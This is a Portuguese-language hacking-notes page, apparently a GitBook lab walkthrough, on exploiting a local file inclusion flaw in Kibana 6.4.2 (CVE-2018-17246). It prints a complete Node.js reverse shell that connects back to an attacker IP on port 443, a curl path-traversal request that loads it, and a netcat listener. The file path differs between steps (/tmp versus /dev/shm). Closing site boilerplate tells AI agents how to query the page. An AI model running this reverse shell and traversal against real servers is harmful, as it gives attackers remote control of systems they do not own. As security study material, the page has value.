**Verificação da versão do Kibana** Acessando `http://localhost:5601/api/status` revela a versão do Kibana **6.4.2**. Esta versão é vulnerável a **Inclusão de Arquivo Local (LFI)** via **CVE-2018-17246**.

{% embed url="" %} **Exploração da vulnerabilidade** Para explorar a vulnerabilidade, crie um arquivo JavaScript que abra uma reverse shell. No alvo, crie `/tmp/rev.js` com o seguinte código:

function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Impede que a aplicação Node.js trave
})();

Este script se conecta de volta à máquina do atacante na porta **443** e abre um shell. **Redirecionando o fluxo para o arquivo** Em seguida, redirecione o fluxo para `/dev/shm/rev.js` com o seguinte comando: ```bash curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js" ``` **Escutando a shell reversa** Na máquina do atacante, inicie um listener na porta **443** para capturar a reverse shell: ```bash nc -nlvp 443 ``` Uma vez conectado, você terá um shell no alvo e poderá continuar a escalada de privilégios.

GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/cms/kibana-cms-exploitation.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
